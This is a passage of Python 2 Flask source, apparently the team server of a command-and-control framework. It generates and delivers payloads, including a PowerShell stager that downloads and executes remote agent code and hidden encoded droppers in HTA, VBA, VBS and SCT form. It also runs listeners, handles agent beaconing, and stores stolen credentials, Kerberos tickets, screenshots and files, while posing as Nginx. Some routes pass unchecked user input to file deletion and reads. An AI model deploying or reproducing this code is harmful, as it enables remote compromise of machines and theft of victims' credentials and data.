1021 #stager = "$ua = '%s';$u = 'http://%s/agent';$p = [System.Net.WebRequest]::GetSystemWebProxy();$p.Credentials = [System.Net.CredentialCache]::DefaultCredentials;$wc = New-Object System.Net.WebClient;$wc.proxy = $p;$wc.Headers.add('accept','*/*');$wc.Headers.Add('user-agent',$ua);IEX $wc.DownloadString($u);" % (useragent, domain)
1022 #stager = set_payload_template("payload_template/stager.txt","", gen_listener)
1023
1024 if gen_payload == "powershell-webdelivery":
1025 data = set_payload_template("payload_template/payload_webdelivery.txt","", gen_listener)
1026 else:
1027 stager = set_payload_template("agent/ps_stager.ps1","", gen_listener)
1028 stager = strip_powershell_comments(stager)
1029
1030 # SET PAYLOAD DELIVERY TYPE WITH STAGER
1031 data = set_payload_delivery_type(gen_payload, stager)
1032
1033 '''
1034 if gen_payload == "powershell":
1035 #data = "powershell -nop -w hidden -c \"%s\"" % stager
1036 data = "%s" % stager
1037
1038 elif gen_payload == "powershell-command":
1039 # Powershell EncodedCommand output
1040 data = "powershell -nop -w hidden -e %s" % powershell_encoder_deflate(stager)
1041 #data = "powershell -nop -w hidden -e %s" % powershell_encoder(data)
1042
1043 elif gen_payload == "hta":
1044 payload_code = "powershell.exe -nop -w hidden -e %s" % powershell_encoder_deflate(stager)
1045 data = set_payload_template("payload_template/payload_hta.txt", payload_code, gen_listener)
1046
1047 elif gen_payload == "vba":
1048
1049 line = powershell_encoder_deflate(stager)
1050 n = 900
1051 encoded_chunks = [line[i:i+n] for i in range(0, len(line), n)]
1052
1053 payload_code = "\"powershell.exe -nop -w hidden -e \"\n"
1054 for i in encoded_chunks:
1055 payload_code += "Code = Code & \"%s\"\n" % i
1056
1057 #payload_code = payload_code[:-5]
1058 #payload_code = "powershell.exe -nop -w hidden -e %s" % powershell_encoder(stager)
1059 data = set_payload_template("payload_template/payload_vba.txt", payload_code, gen_listener)
1060
1061 elif gen_payload == "vbs":
1062 payload_code = "powershell.exe -nop -w hidden -e %s" % powershell_encoder_deflate(stager)
1063 data = set_payload_template("payload_template/payload_vbs.txt", payload_code, gen_listener)
1064
1065 elif gen_payload == "sct":
1066 payload_code = "powershell.exe -nop -w hidden -e %s" % powershell_encoder_deflate(stager)
1067 data = set_payload_template("payload_template/payload_sct.txt", payload_code, gen_listener)
1068 '''
1069
1070 data = base64.b64encode(data)
1071 resp = Response(json.dumps(data))
1072 return resp
1073
1074# GET TARGET LOG
1075@app.route('/log/<uuid>')
1076def target_log(uuid):
1077 # VERIFY IF SOURCE IP IS ALLOWED
1078 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1079
1080 f = "logs/target/%s.log" % uuid
1081 if os.path.exists(f):
1082 n = 1000
1083 offset=0
1084 stdin,stdout = os.popen2("tail -n "+str(n)+" "+f)
1085 stdin.close()
1086 lines = stdout.readlines(); stdout.close()
1087 output = ""
1088 for line in lines:
1089 output += line
1090 #print output
1091 else:
1092 output = ""
1093 pass
1094 resp = Response(output)
1095 return resp
1096
1097# SAVE CONFIG JSON
1098def save_config_json(config_file, data):
1099 f = open(config_file, 'w')
1100 f.write(json.dumps(data))
1101 f.close()
1102
1103# PAYLOAD DETAILS [JSON]
1104@app.route('/payload', methods=['GET'])
1105def get_payload():
1106 # VERIFY IF SOURCE IP IS ALLOWED
1107 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1108
1109 global payload
1110
1111 v_id = request.args.get("id")
1112
1113 if v_id == None or v_id == "":
1114 resp = Response(json.dumps(payload))
1115 else:
1116 resp = Response(json.dumps(payload[v_id]))
1117
1118 return resp
1119
1120# WEB DELIVERY DETAILS [JSON]
1121@app.route('/web_delivery')
1122def get_web_delivery():
1123 # VERIFY IF SOURCE IP IS ALLOWED
1124 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1125
1126 global web_delivery
1127
1128 v_id = request.args.get("id")
1129
1130 if v_id == None or v_id == "":
1131 resp = Response(json.dumps(web_delivery))
1132 else:
1133 resp = Response(json.dumps(web_delivery[v_id]))
1134
1135 return resp
1136
1137# ADD PAYLOAD
1138@app.route('/payload/add', methods=['POST'])
1139def payload_add():
1140 # VERIFY IF SOURCE IP IS ALLOWED
1141 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1142
1143 global payload
1144
1145 v_name = request.form.get('name')
1146 v_payload = request.form.get('payload')
1147
1148 timestamp = str(int(time.time()))
1149
1150 payload[timestamp] = {"name": v_name,
1151 "payload": base64.b64encode(v_payload)
1152 }
1153
1154 # STORE PAYLOAD CONFIG
1155 save_config_json("config/payload.json", payload)
1156
1157 resp = Response("Ok")
1158 return resp
1159
1160# DEL PAYLOAD
1161@app.route('/payload/del', methods=['GET'])
1162def payload_del():
1163 # VERIFY IF SOURCE IP IS ALLOWED
1164 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1165
1166 global payload
1167
1168 v_id = request.args.get('id')
1169 del payload[v_id]
1170
1171 # STORE PAYLOAD CONFIG
1172 save_config_json("config/payload.json", payload)
1173
1174 resp = Response("Ok")
1175 return resp
1176
1177# UPDATE PAYLOAD
1178@app.route('/payload/update', methods=['POST'])
1179def payload_update():
1180 # VERIFY IF SOURCE IP IS ALLOWED
1181 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1182
1183 global payload
1184
1185 v_id = request.form.get('id')
1186 v_name = request.form.get('name')
1187 v_payload = request.form.get('payload')
1188
1189 payload[v_id] = {"name": v_name,
1190 "payload": base64.b64encode(v_payload)
1191 }
1192
1193 # STORE PAYLOAD CONFIG
1194 save_config_json("config/payload.json", payload)
1195
1196 resp = Response("Ok")
1197 return resp
1198
1199# ADD WEB DELIVERY
1200@app.route('/web_delivery/add', methods=['POST'])
1201def web_delivery_add():
1202 # VERIFY IF SOURCE IP IS ALLOWED
1203 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1204
1205 global web_delivery
1206
1207 v_name = request.form.get('name')
1208 v_path = request.form.get('path')
1209 v_type = request.form.get('type')
1210 v_filename = request.form.get('filename')
1211 v_payload_type = request.form.get('payload_type')
1212 v_payload_id = request.form.get('payload_id')
1213
1214 timestamp = str(int(time.time()))
1215
1216 web_delivery[timestamp] = {"name": v_name,
1217 "path": v_path,
1218 "type": v_type,
1219 "filename": v_filename,
1220 "payload_type": v_payload_type,
1221 "payload": v_payload_id,
1222 }
1223
1224 # STORE PAYLOAD CONFIG
1225 save_config_json("config/web_delivery.json", web_delivery)
1226
1227 resp = Response("Ok")
1228 return resp
1229
1230# UPDATE PAYLOAD
1231@app.route('/web_delivery/update', methods=['POST'])
1232def web_delivery_update():
1233 # VERIFY IF SOURCE IP IS ALLOWED
1234 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1235
1236 global web_delivery
1237
1238 v_id = request.form.get('id')
1239 v_name = request.form.get('name')
1240 v_path = request.form.get('path')
1241 v_type = request.form.get('type')
1242 v_filename = request.form.get('filename')
1243 v_payload_type = request.form.get('payload_type')
1244 v_payload_id = request.form.get('payload_id')
1245
1246 web_delivery[v_id] = {"name": v_name,
1247 "path": v_path,
1248 "type": v_type,
1249 "filename": v_filename,
1250 "payload_type": v_payload_type,
1251 "payload": v_payload_id,
1252 }
1253
1254 # STORE PAYLOAD CONFIG
1255 save_config_json("config/web_delivery.json", web_delivery)
1256
1257 resp = Response("Ok")
1258 return resp
1259
1260# DEL WEB DELIVERY
1261@app.route('/web_delivery/del', methods=['GET'])
1262def web_delivery_del():
1263 # VERIFY IF SOURCE IP IS ALLOWED
1264 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1265
1266 global web_delivery
1267
1268 v_id = request.args.get('id')
1269 del web_delivery[v_id]
1270
1271 # STORE WEB DELIVERY CONFIG
1272 save_config_json("config/web_delivery.json", web_delivery)
1273
1274 resp = Response("Ok")
1275 return resp
1276
1277# LIST PROFILES
1278@app.route('/profiles')
1279def list_profiles():
1280 # VERIFY IF SOURCE IP IS ALLOWED
1281 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1282
1283 profiles = glob.glob("profiles/*.json")
1284
1285 resp = Response(json.dumps(profiles))
1286 return resp
1287
1288# LISTENER
1289@app.route('/listener', methods=['GET'])
1290def list_listener():
1291 # VERIFY IF SOURCE IP IS ALLOWED
1292 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1293
1294 global listener
1295 global listener_details
1296
1297 for i in listener_details:
1298 if check_port(int(i)):
1299 listener_details[i]["open"] = True
1300 else:
1301 listener_details[i]["open"] = False
1302
1303 v_id = request.args.get("id")
1304
1305 if v_id == None or v_id == "":
1306 resp = Response(json.dumps(listener_details))
1307 else:
1308 resp = Response(json.dumps(listener_details[v_id]))
1309
1310 resp.headers['Server'] = 'Nginx'
1311 return resp
1312
1313# LISTENER ADD
1314@app.route('/listener/add', methods=['POST'])
1315def listener_add():
1316 # VERIFY IF SOURCE IP IS ALLOWED
1317 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1318
1319 global listener
1320 global listener_details
1321
1322 v_port = request.form.get('port')
1323 v_name = request.form.get('name')
1324 v_host = request.form.get('host')
1325 v_ssl = request.form.get('ssl')
1326 v_cert = request.form.get('cert')
1327
1328 if v_ssl.lower() == "true":
1329 v_ssl = True
1330 else:
1331 v_ssl = False
1332
1333 timestamp = str(int(time.time()))
1334
1335 listener[v_port] = ""
1336 listener_details[v_port] = {"name": v_name,
1337 "host": v_host,
1338 "ssl": v_ssl,
1339 "cert": v_cert,
1340 "open": False
1341 }
1342
1343 # STORE LISTENER CONFIG
1344 save_config_json("config/listener.json", listener_details)
1345
1346 resp = Response("Ok")
1347 return resp
1348
1349# LISTENER DELETE
1350@app.route('/listener/del/<port>')
1351def listener_del(port):
1352 # VERIFY IF SOURCE IP IS ALLOWED
1353 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1354
1355 global listener
1356 global listener_details
1357
1358 try:
1359 resp = Response(json.dumps("Delete %s" % port))
1360 #listener[port].terminate()
1361 try: flask_stop(port)
1362 except: save_log_traceback(traceback.format_exc())
1363 del listener[port]
1364 del listener_details[port]
1365
1366 # STORE LISTENER CONFIG
1367 save_config_json("config/listener.json", listener_details)
1368 except:
1369 print "ERROR..."
1370 save_log_traceback(traceback.format_exc()) #if option_debug: print traceback.print_exc()
1371 resp = Response(json.dumps("ERROR"))
1372
1373 return resp
1374
1375# LISTENER UPDATE
1376@app.route('/listener/update', methods=['POST'])
1377def listener_update():
1378 # VERIFY IF SOURCE IP IS ALLOWED
1379 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1380
1381 global listener
1382 global listener_details
1383
1384 v_id = request.form.get('id')
1385 v_name = request.form.get('name')
1386 v_host = request.form.get('host')
1387 v_ssl = request.form.get('ssl')
1388 v_cert = request.form.get('cert')
1389
1390 if v_ssl.lower() == "true":
1391 v_ssl = True
1392 else:
1393 v_ssl = False
1394
1395 listener_details[v_id] = {"name": v_name,
1396 "host": v_host,
1397 "ssl": v_ssl,
1398 "cert": v_cert,
1399 "open": False
1400 }
1401
1402 # STORE LISTENER CONFIG
1403 save_config_json("config/listener.json", listener_details)
1404
1405 resp = Response("Ok")
1406 return resp
1407
1408@app.route('/listener/<port>')
1409def add_listener(port):
1410 # VERIFY IF SOURCE IP IS ALLOWED
1411 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1412
1413 global listener
1414
1415 port = int(port)
1416 ssl = False
1417
1418 if check_port(port):
1419 resp = Response("Port %s is already open" % port)
1420 else:
1421 resp = Response("ADDED: %s" % port)
1422
1423 listener[port] = Process(target=run_server, args=(1, int(port)))
1424 listener[port].start()
1425
1426 #resp.headers['Access-Control-Allow-Origin'] = '*'
1427 resp.headers['Server'] = 'Nginx'
1428
1429 #print listener
1430 return resp
1431
1432@app.route('/listener/<port>/<action>')
1433def set_listener(port, action):
1434 # VERIFY IF SOURCE IP IS ALLOWED
1435 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1436
1437 global listener
1438
1439 try:
1440 #port = int(port)
1441 if action == "start":
1442 if check_port(port):
1443 resp = Response(json.dumps("Port %s is already open" % port))
1444 else:
1445 flask_start(port)
1446 resp = Response(json.dumps("Start %s" % port))
1447 '''
1448 listener[port] = Process(target=run_server, args=(1, int(port)))
1449 listener[port].start()
1450 '''
1451 if action == "stop":
1452 flask_stop(port)
1453 resp = Response(json.dumps("Stop %s" % port))
1454
1455 ##listener[port].terminate()
1456 #listener[port].join()
1457 except:
1458 save_log_traceback(traceback.format_exc())
1459 resp = Response(json.dumps("ERROR"))
1460
1461 resp.headers['Server'] = 'Nginx'
1462
1463 #print listener
1464 return resp
1465
1466# LIST PAYLOAD FILES
1467@app.route('/certificate')
1468def list_certificate_pem():
1469 # VERIFY IF SOURCE IP IS ALLOWED
1470 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1471
1472 data = glob.glob("certs/*.pem")
1473 data = map(lambda x: str.replace(x, "certs/", ""), data)
1474
1475 resp = Response(json.dumps(data))
1476 return resp
1477
1478# CHAT
1479@app.route('/chat')
1480def chat_load():
1481 # VERIFY IF SOURCE IP IS ALLOWED
1482 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1483
1484 output = load_chat()
1485
1486 resp = Response(json.dumps(output))
1487 resp.headers['Server'] = 'Nginx'
1488 return resp
1489
1490@app.route('/chat/msg/<cid>')
1491def chat_get(cid):
1492 # VERIFY IF SOURCE IP IS ALLOWED
1493 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1494
1495 output = load_chat(cid)
1496
1497 resp = Response(json.dumps(output))
1498 resp.headers['Access-Control-Allow-Origin'] = '*'
1499 resp.headers['Server'] = 'Nginx'
1500 return resp
1501
1502@app.route('/chat/msg', methods=['POST'])
1503def chat_post():
1504 # VERIFY IF SOURCE IP IS ALLOWED
1505 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1506
1507 user = escape(request.form['user'])
1508 msg = escape(request.form['msg'])
1509 store_chat(user, msg)
1510
1511 resp = Response(json.dumps(msg))
1512 resp.headers['Server'] = 'Nginx'
1513 return resp
1514
1515# ALERT
1516@app.route('/alert')
1517def alert_load():
1518 # VERIFY IF SOURCE IP IS ALLOWED
1519 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1520
1521 output = load_alert()
1522
1523 resp = Response(json.dumps(output))
1524 resp.headers['Server'] = 'Nginx'
1525 return resp
1526
1527@app.route('/alert/<aid>')
1528def alert_get(aid):
1529 # VERIFY IF SOURCE IP IS ALLOWED
1530 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1531
1532 output = load_alert(aid)
1533
1534 resp = Response(json.dumps(output))
1535 resp.headers['Server'] = 'Nginx'
1536 return resp
1537
1538@app.route('/profile')
1539def showProfile():
1540 # VERIFY IF SOURCE IP IS ALLOWED
1541 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1542
1543 profile = load_profile(profile_file)
1544
1545 resp = Response(json.dumps(profile))
1546 resp.headers['Server'] = 'Nginx'
1547 return resp
1548
1549# LIST PAYLOAD FILES
1550@app.route('/payload_file')
1551def list_payload_file():
1552 # VERIFY IF SOURCE IP IS ALLOWED
1553 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1554
1555 payload_file = glob.glob("payload_file/*")
1556 payload_file = map(lambda x: str.replace(x, "payload_file/", ""), payload_file)
1557
1558 resp = Response(json.dumps(payload_file))
1559 return resp
1560
1561# UPLOAD PAYLOAD FILE
1562@app.route('/payload/upload', methods = ['GET', 'POST'])
1563def upload_file_action():
1564 # VERIFY IF SOURCE IP IS ALLOWED
1565 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1566
1567 if request.method == 'POST':
1568 f = request.files['payload_file']
1569 f.save("payload_file/" + secure_filename(f.filename))
1570 return 'file uploaded successfully'
1571
1572@app.route('/payload_file/del')
1573def payload_file_del():
1574 # VERIFY IF SOURCE IP IS ALLOWED
1575 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1576
1577 name = request.args.get('name')
1578 os.remove("payload_file/"+name)
1579
1580 resp = Response(name)
1581 return resp
1582
1583# MODULES
1584@app.route('/modules')
1585def modules_list():
1586 # VERIFY IF SOURCE IP IS ALLOWED
1587 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1588
1589 file_paths = []
1590 for root, directories, files in os.walk("modules/"):
1591 for filename in files:
1592 filepath = os.path.join(root, filename)
1593 file_paths.append(filepath)
1594
1595 resp = Response(json.dumps(file_paths))
1596 return resp
1597
1598# DOWNLOAD DATA FILE
1599@app.route('/data_download')
1600def download_data():
1601 # VERIFY IF SOURCE IP IS ALLOWED
1602 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1603
1604 data_path = request.args.get('dp')
1605 data_file = request.args.get('df')
1606
1607 filepath = "data/%s/%s" % (data_path, data_file)
1608 data = open(filepath, "rb")
1609 resp = Response(data)
1610 resp.headers["Content-Disposition"] = "attachment; filename=" + data_file
1611 return resp
1612
1613# LIST DOWNLOADED FILES
1614@app.route('/downloads')
1615def list_downloads():
1616 # VERIFY IF SOURCE IP IS ALLOWED
1617 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1618
1619 data = glob.glob("data/downloads/*")
1620 data = map(lambda x: str.replace(x, "data/downloads/", ""), data)
1621
1622 resp = Response(json.dumps(data))
1623 return resp
1624
1625# DELETE DOWNLOAD
1626@app.route('/downloads/del')
1627def downloads_del():
1628 # VERIFY IF SOURCE IP IS ALLOWED
1629 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1630
1631 name = request.args.get('v')
1632 os.remove("data/downloads/"+name)
1633
1634 resp = Response(name)
1635 return resp
1636
1637# LIST SCREENSHOTS FILES
1638@app.route('/screenshots')
1639def list_screenshots():
1640 # VERIFY IF SOURCE IP IS ALLOWED
1641 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1642
1643 data = glob.glob("data/screenshots/*")
1644 data = map(lambda x: str.replace(x, "data/screenshots/", ""), data)
1645
1646 resp = Response(json.dumps(data))
1647 return resp
1648
1649# DELET SCREENSHOT
1650@app.route('/screenshots/del')
1651def screenshots_del():
1652 # VERIFY IF SOURCE IP IS ALLOWED
1653 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1654
1655 name = request.args.get('v')
1656 os.remove("data/screenshots/"+name)
1657
1658 resp = Response(name)
1659 return resp
1660
1661# LIST CREDENTIALS
1662@app.route('/credentials')
1663def list_credentials():
1664 # VERIFY IF SOURCE IP IS ALLOWED
1665 #if validate_source_ip(request, "control"): return render_template('errors/404.html'), 404
1666 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1667
1668 resp = Response(json.dumps(gdata.credentials))
1669 return resp
1670
1671# LIST CREDENTIALS
1672@app.route('/credentials/del')
1673def credentials_del():
1674 # VERIFY IF SOURCE IP IS ALLOWED
1675 #if validate_source_ip(request, "control"): return render_template('errors/404.html'), 404
1676 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1677
1678 global gdata
1679
1680 v_id = request.args.get('id')
1681 del gdata.credentials[v_id]
1682
1683 # STORE CREDENTIALS
1684 store_credentials()
1685
1686 resp = Response("Ok")
1687 return resp
1688
1689# LIST CREDENTIALS SPN
1690@app.route('/credentials/spn')
1691def list_credentials_spn():
1692 # VERIFY IF SOURCE IP IS ALLOWED
1693 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1694
1695 resp = Response(json.dumps(gdata.credentials_spn))
1696 return resp
1697
1698# LIST CREDENTIALS KERBEROS TICKET
1699@app.route('/credentials/ticket')
1700def list_credentials_ticket():
1701 # VERIFY IF SOURCE IP IS ALLOWED
1702 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1703
1704 resp = Response(json.dumps(gdata.credentials_ticket))
1705 return resp
1706
1707# LIST COMMANDS (HELP)
1708@app.route('/commands')
1709def list_commands_help():
1710 # VERIFY IF SOURCE IP IS ALLOWED
1711 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1712
1713 resp = Response(json.dumps(commands_help))
1714 return resp
1715
1716# DEFAULT [GET]
1717# REF: http://flask.pocoo.org/snippets/57/
1718@app.route('/', defaults={'path': ''})
1719@app.route('/<path:path>')
1720def catch_all(path):
1721
1722 # VERIFY IF SOURCE IP IS ALLOWED
1723 if validate_source_ip(request, "agents"): return get_profile_headers_error(403)
1724
1725 profile = load_profile(profile_file)
1726
1727 # CHECK WEB DELIVERY PATHS
1728 global web_delivery
1729 global payload
1730
1731 if request.path not in config["alert"]["ignore_path"] or request.access_route[-1] not in config["alert"]["ignore_src"]:
1732 for v_id in web_delivery:
1733 if web_delivery[v_id]["path"] == "/"+path:
1734 save_log_raw_alert(request, "info", "web delivery")
1735 if web_delivery[v_id]["payload_type"] == "code":
1736 payload_id = web_delivery[v_id]["payload"]
1737 payload_code = base64.b64decode(payload[payload_id]["payload"])
1738 resp = Response(payload_code)
1739 resp.headers["Access-Control-Allow-Origin"] = "*"
1740 if web_delivery[v_id]["type"] == "download":
1741 resp.headers["Content-Disposition"] = "attachment; filename=" + web_delivery[v_id]["filename"]
1742 return resp
1743 elif web_delivery[v_id]["payload_type"] == "file":
1744 filename = "payload_file/" + web_delivery[v_id]["filename"]
1745 data = open(filename, "rb")
1746 resp = Response(data)
1747 resp.headers["Content-Disposition"] = "attachment; filename=" + web_delivery[v_id]["filename"]
1748 return resp
1749
1750 # CHECK IF BEACON GET
1751 # [GET] BEACON: SEND TASK TO AGENT
1752 if "/"+path == profile["http-get"]["uri"]:
1753 #print "PROFILE " + str(path)
1754 try: #return beaconSendTask(request)
1755 response = beaconSendTask(request)
1756 if response != False: return response
1757 except:
1758 save_log_traceback(traceback.format_exc()) #print traceback.print_exc()
1759
1760 # CHECK IF STAGER AND RETURNS PROFILE
1761 try: #return setAgent(request)
1762 check_source = config["source"]["agents"]["allow"]
1763 #if "*" in check_source or request.access_route[-1] in check_source:
1764 if IPSourceValidator(request.access_route[-1], check_source):
1765 print "%s%s[+]%s Source Allowed: %s %s %s" % (bcolors.GREEN, bcolors.BOLD, bcolors.ENDC, request.access_route[-1], request.method, request.path)
1766 response = setAgent(request)
1767 if response != False: return response
1768 else:
1769 print "%s%s[!]%s Source Denied: %s %s %s" % (bcolors.RED, bcolors.BOLD, bcolors.ENDC, request.access_route[-1], request.method, request.path)
1770 resp = make_response(render_template('errors/403.html'), 403)
1771 resp = set_headers(profile, "http-get", resp)
1772 return resp
1773 except:
1774 save_log_traceback(traceback.format_exc()) #print traceback.print_exc()
1775
1776 #if request.path not in config["alert"]["ignore_path"]: save_log_raw_alert(request, "warning", "path not found")
1777 save_log_raw_alert(request, "warning", "path not found")
1778
1779 #if request.path not in config["alert"]["ignore_path"]: print "%s%s[?]%s Not Found: %s %s %s" % (bcolors.RED, bcolors.BOLD, bcolors.ENDC, request.access_route[-1], request.method, request.path)
1780 print "%s%s[?]%s Not Found: %s %s %s" % (bcolors.RED, bcolors.BOLD, bcolors.ENDC, request.access_route[-1], request.method, request.path)
1781
1782 #resp = render_template('errors/404.html'), 404
1783 resp = make_response(render_template('errors/404.html'), 404)
1784 resp = set_headers(profile, "http-get", resp)
1785 return resp
1786
1787# DEFAULT [POST]
1788@app.route('/', defaults={'path': ''}, methods=['POST'])
1789@app.route('/<path:path>', methods=['POST'])
1790def catch_all_post(path):
1791
1792 # VERIFY IF SOURCE IP IS ALLOWED
1793 if validate_source_ip(request, "agents"): return get_profile_headers_error(403)
1794
1795 profile = load_profile(profile_file)
1796
1797 # CHECK PROFILE PATHS
1798 # [POST] BEACON: GET DATA FROM AGENT
1799 if "/"+path == profile["http-post"]["uri"]:
1800 #print "PROFILE " + str(path)
1801 return beaconGetData(request)
1802
1803 save_log_raw_alert(request, "warning", "path not found")
1804
1805 return render_template('errors/404.html'), 404
1806
1807# SHUTDOWN FLASK APP
1808@app.route('/shutdown')
1809def shutdown():
1810 flask_shutdown()
1811 return 'Server shutting down...'
1812
1813# ----------------------
1814# CLIENT
1815#@requires_auth
1816@app.route('/login', methods=['GET', 'POST'])
1817def login():
1818 # VERIFY IF SOURCE IP IS ALLOWED
1819 if validate_source_ip(request, "control"): return get_profile_headers_error(403)
1820
1821 if request.method == 'GET':
1822 return render_template('client/login.html', title='Sign In')
1823
1824 try:
1825 #username = request.form['username']
1826 username = request.form.get('username')
1827
1828 #if request.form['pw'] == users[username]['pw']:
1829 if getHash(request.form['pw']) == users[username]['pw']:
1830 user = User()
1831 user.id = username
1832 flask_login.login_user(user)
1833 #return render_template('client/client.html')
1834 return redirect(url_for('client'))
1835
1836 #return 'Bad login'
1837 return render_template('client/login.html', title='Index', msg="Invalid Login...")
1838 except:
1839 #print traceback.print_exc()
1840 #return 'This is not a valid username'
1841 return render_template('client/login.html', title='Index', msg="Invalid Login...")
1842
1843# CLIENT GUI
1844@app.route('/client')
1845@flask_login.login_required
1846def client():
1847 global __version__
1848
1849 # VERIFY IF SOURCE IP IS ALLOWED
1850 if validate_source_ip(request, "control"): return get_profile_headers_error(403)
1851
1852 return make_response(render_template('client/client.html', version=__version__), 200)
1853
1854@app.route('/logout')
1855@flask_login.login_required
1856def logout():
1857 # VERIFY IF SOURCE IP IS ALLOWED
1858 if validate_source_ip(request, "control"): return get_profile_headers_error(403)
1859
1860 flask_login.logout_user()
1861 return redirect(url_for('login'))
1862
1863@app.route('/protected')
1864@flask_login.login_required
1865def protected():
1866 if validate_source_ip(request, "control"): return get_profile_headers_error(403)
1867 return 'Logged in as: ' + flask_login.current_user.id
1868
1869@app.route('/reload')
1870def reload():
1871 global config
1872 global source_control_allow
1873 global source_agents_allow
1874 global users
1875
1876 # VERIFY IF SOURCE IP IS ALLOWED
1877 if validate_source_ip(request, "control"): return get_profile_headers_error(403)
1878
1879 config = ConfigObj("config/settings.conf")
1880 source_control_allow = config["source"]["control"]["allow"]
1881 source_agents_allow = config["source"]["agents"]["allow"]
1882 users = config["user"]
1883
1884 print "%s%s[*]%s Settings Reloaded" % (bcolors.CYAN, bcolors.BOLD, bcolors.ENDC)
1885
1886 resp = Response("reloaded")
1887 return resp
1888
1889# SETTINGS
1890# LIST SETTINGS CONTROL ALLOWED
1891@app.route('/settings/source/control')
1892def list_settings_control():
1893 # VERIFY IF SOURCE IP IS ALLOWED
1894 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1895
1896 resp = Response(json.dumps(source_control_allow))
1897 return resp
1898
1899# LIST SETTINGS CONTROL ALLOWED
1900@app.route('/settings/source/agents')
1901def list_settings_agents():
1902 # VERIFY IF SOURCE IP IS ALLOWED
1903 if validate_source_ip(request, "control"): return get_profile_headers_denied()
1904
1905 resp = Response(json.dumps(source_agents_allow))
1906 return resp
1907
1908#app.run(host='0.0.0.0', port=80, debug=True)
1909
1910if __name__ == "__main__":
1911 try:
1912 print "Starting Server %s%s:%s%s" % (bcolors.BOLD, server_ip, server_port, bcolors.ENDC)
1913 c2 = threading.Thread(name=str(server_port), target=flask_init, args=(1, server_port, server_ssl, server_cert))
1914 c2.setDaemon(True)
1915 c2.start()
1916
1917 for port in listener:
1918 print "Starting Listener %s%s:%s%s" % (bcolors.BOLD, listener_details[port]["host"], port, bcolors.ENDC)
1919 v_ssl = listener_details[port]["ssl"]
1920 v_cert = listener_details[port]["cert"]
1921 listener[port] = threading.Thread(name=str(port), target=flask_init, args=(1, port, v_ssl, v_cert))
1922 listener[port].setDaemon(True)
1923 listener[port].start()
1924 listener_details[port]["open"] = True
1925 print ""
1926
1927 while True:
1928 pass
1929 time.sleep(0.2)
1930
1931 except KeyboardInterrupt:
1932 print
1933 print "Shutting down..."
1934 except Exception as e:
1935 print traceback.print_exc()
1936 save_log_traceback(traceback.format_exc())
1937 finally:
1938 print "bye ;)"